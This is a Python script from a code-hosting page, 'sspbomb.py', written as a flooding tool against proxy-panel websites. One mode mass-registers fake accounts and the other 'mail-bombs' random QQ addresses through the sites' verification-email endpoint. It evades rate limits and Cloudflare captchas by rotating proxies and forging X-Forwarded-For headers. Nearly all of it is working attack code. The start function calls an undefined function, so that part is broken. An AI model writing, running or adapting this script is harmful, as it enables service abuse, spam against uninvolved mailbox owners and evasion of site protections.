-
Notifications
You must be signed in to change notification settings - Fork 1
/
sspbomb.py
265 lines (252 loc) · 11.9 KB
/
sspbomb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
# -*- coding: utf-8 -*-
import os
import sys
import platform
import time
import json
import requests
import random
import string
#设置工作模式：
#1. 批量注册（适用于毫无防备，注册不需要邮件验证的）
#2. 刷邮件（循环向随机QQ邮箱发送注册验证码）
mode = 1
#是否使用代理ip请求（适用于对单个ip有请求次数上限的目标，需要将http/s代理写入同目录下的ip.txt）
useproxy = False
#代理列表轮训模式开关(代理ip模式)
loopmode = True
#单ip请求失败次数上限(代理ip模式)
faillimit = 5
#请求超时时间(s)
posttimeout = 5
#请求延迟时间(s)
delay = 1
#设置目标url与header参数
#Example：https://xxxxx.com/api/v1/passport/auth/register、https://xxxxx.com/auth/register(批量注册)
#Example：https://xxxxx.com/auth/send(刷邮件)
#注：不同主题实现接口可能会有不同！
url = ''
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Edg/92.0.902.62",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Referer": "",
"Cookie": "",
"Connection": "close"
}
#处理代理ip文件
def getProxy():
proxylist = []
with open("ip.txt", "r") as f:
for line in f.readlines():
line = line.strip('\n')
proxylist.append(line)
return proxylist
#生成随机邮箱数字
def randomMail():
seed = "1234567890"
sa = []
for i in range(random.randint(5,10)):
sa.append(random.choice(seed))
salt = ''.join(sa)
return salt
#生成随机ip
def randomIp():
m=random.randint(0,255)
n=random.randint(0,255)
x=random.randint(0,255)
y=random.randint(0,255)
ip = str(m)+"."+str(n)+"."+str(x)+"."+str(y)
return ip
#批量注册
count = 0
def regBomb():
global count
requests.adapters.DEFAULT_RETRIES = 5
if (useproxy):
proxystate = True
if (os.path.exists('ip.txt')):
proxylist = getProxy()
print("[!]ip.txt中的代理数量: %d"%(len(proxylist)))
else:
print("[X]未找到 ip.txt 文件，请手工在本目录创建一个并填入代理ip！")
sys.exit()
for index in range(len(proxylist)):
print("[!]使用的代理ip: %s"%(proxylist[index]))
proxystate = True
timeout = 0
while proxystate:
#随机密码
userpass = "".join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','I','H','G','F','E','D','C','B','A','0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^','&','*',',','.','/'], 10))
#随机用户名
username = "".join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','I','H','G','F','E','D','C','B','A','0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^','&','*',',','.','/'], 10))
data = {'email':'%[email protected]'%(randomMail()), 'name': username, 'passwd': userpass, 'repasswd': userpass, 'code': 0}
#使用代理
proxies = {'https': 'http://%s' %(proxylist[index])}
try:
r=requests.post(url, data=data, headers=header, timeout=posttimeout, proxies=proxies)
except (requests.Timeout, requests.ConnectTimeout, requests.exceptions.ProxyError, requests.exceptions.ConnectionError):
print("[X]请求失败或超时！")
timeout+=1
if (timeout >= faillimit):
print("[!]当前代理ip失败次数过多，切换下一个……")
proxystate = False
time.sleep(delay)
else:
count+=1
timeout=0
rmessage = r.text.encode('utf-8').decode("unicode_escape")
print("===============================")
print("注册次数：%d " %(count))
print("请求数据：%s " %(data))
print("http状态码: %d" %(r.status_code))
print("返回信息: %s" %(rmessage))
print("===============================")
#cloudflare
if rmessage.find("captcha")!=-1:
print("[!]当前ip触发了cf验证码，切换下一个代理……")
proxystate = False
time.sleep(delay)
print("[!]所有代理ip已使用完毕！")
if (loopmode):
print("[!]已启用轮训模式，重新开始循环代理列表……")
regBomb()
else:
while True:
#随机密码
userpass = "".join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','I','H','G','F','E','D','C','B','A','0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^','&','*',',','.','/'], 10))
#随机用户名
username = "".join(random.sample(['z','y','x','w','v','u','t','s','r','q','p','o','n','m','l','k','j','i','h','g','f','e','d','c','b','a','Z','Y','X','W','V','U','T','S','R','Q','P','O','N','M','L','K','J','I','H','G','F','E','D','C','B','A','0','1','2','3','4','5','6','7','8','9','!','@','#','$','%','^','&','*',',','.','/'], 10))
data = {'email':'%[email protected]'%(randomMail()), 'name': username, 'passwd': userpass, 'repasswd': userpass, 'code': 0}
#伪造源ip
header['X-Forwarded-For'] = randomIp()
try:
r=requests.post(url, data=data, headers=header, timeout=posttimeout)
except (requests.Timeout, requests.ConnectTimeout, requests.exceptions.ConnectionError):
print("[X]请求失败或超时！")
time.sleep(delay)
else:
count+=1
rmessage = r.text.encode('utf-8').decode("unicode_escape")
print("===============================")
print("注册次数：%d " %(count))
print("请求数据：%s " %(data))
print("http状态码: %d" %(r.status_code))
print("返回信息: %s" %(rmessage))
print("===============================")
#cloudflare
if rmessage.find("captcha")!=-1:
print("[!]触发了cf验证码，修改Cookie参数或等待一段时间再试！")
time.sleep(delay)
#刷邮件
def mailPost():
global count
if (useproxy):
proxystate = True
requests.adapters.DEFAULT_RETRIES = 5
if (os.path.exists('ip.txt')):
proxylist = getProxy()
print("[!]ip.txt中的代理数量: %d"%(len(proxylist)))
else:
print("[X]未找到 ip.txt 文件，请手工在本目录创建一个并填入代理ip！")
sys.exit()
for index in range(len(proxylist)):
print("[!]使用的代理ip: %s"%(proxylist[index]))
proxystate = True
timeout = 0
while proxystate:
data = {'email':'%[email protected]'%(randomMail())}
#使用代理
proxies = {'https': 'http://%s' %(proxylist[index])}
#发送请求
try:
r=requests.post(url, proxies=proxies, data=data, headers=header, timeout=posttimeout)
except (requests.Timeout, requests.ConnectTimeout, requests.exceptions.ProxyError, requests.exceptions.ConnectionError):
print("[X]请求失败或超时！")
timeout+=1
if (timeout >= faillimit):
print("[!]当前代理ip失败次数过多，切换下一个……")
proxystate = False
time.sleep(delay)
else:
count+=1
timeout=0
rmessage = r.text.encode('utf-8').decode("unicode_escape")
print("===============================")
print("发送次数：%d " %(count))
print("随机邮箱：%s " %(data))
print("http状态码: %d" %(r.status_code))
print("返回信息: %s" %(rmessage))
print("===============================")
#判断上限
if rmessage.find("次数过多")!=-1:
print("[!]当前ip已达请求上限，切换下一个代理……")
proxystate = False
#cloudflare
if rmessage.find("captcha")!=-1:
print("[!]当前ip触发了cf验证码，切换下一个代理……")
proxystate = False
time.sleep(delay)
print("[!]所有代理ip已使用完毕！")
if (loopmode):
print("[!]已启用轮训模式，重新开始循环代理列表……")
mailPost()
else:
while True:
data = {'email':'%[email protected]'%(randomMail())}
#伪造源ip
header['X-Forwarded-For'] = randomIp()
#发送请求
try:
r=requests.post(url, data=data, headers=header, timeout=posttimeout)
except (requests.Timeout, requests.ConnectTimeout, requests.exceptions.ConnectionError):
print("[X]请求失败或超时！")
time.sleep(delay)
else:
count+=1
rmessage = r.text.encode('utf-8').decode("unicode_escape")
print("===============================")
print("发送次数：%d " %(count))
print("随机邮箱：%s " %(data))
print("http状态码: %d" %(r.status_code))
print("返回信息: %s" %(rmessage))
print("===============================")
#cloudflare
if rmessage.find("captcha")!=-1:
print("[!]触发了cf验证码，修改Cookie参数、等待一段时间再试或使用代理ip模式！")
time.sleep(delay)
def start():
if mode == 1:
print("[!]批量注册模式")
regBomb()
elif mode == 2:
print("[!]邮件轰炸模式")
mailPost_fakeip()
if __name__ == "__main__":
print(""" _____ _____ _____ _
/ ____/ ____| __ \ | |
| (___| (___ | |__) |_ _ _ __ ___| |
\___ \\___ \| ___/ _` | '_ \ / _ \ |
____) |___) | | | (_| | | | | __/ |
|_____/_____/|_| \__,_|_| |_|\___|_|
| _ \ | |
| |_) | ___ _ __ ___ | |__
| _ < / _ \| '_ ` _ \| '_ \
| |_) | (_) | | | | | | |_) |
|____/ \___/|_| |_| |_|_.__/
""")
print("*******************************")
print("Author : CirnoSalt")
print("Version : 2.5")
print("*******************************")
print("现已支持的模式：")
print("1. 批量注册 单机/集群")
print("1. 邮件轰炸 单机/集群")
print("可在脚本内修改工作模式！")
print("*******************************")
print("已设置目标: %s \n"%(url))
if(platform.system()=='Windows'):
os.system('pause')
elif(platform.system()=='Linux'):
print("将在 5 秒后自动开火...")
time.sleep(5)
start()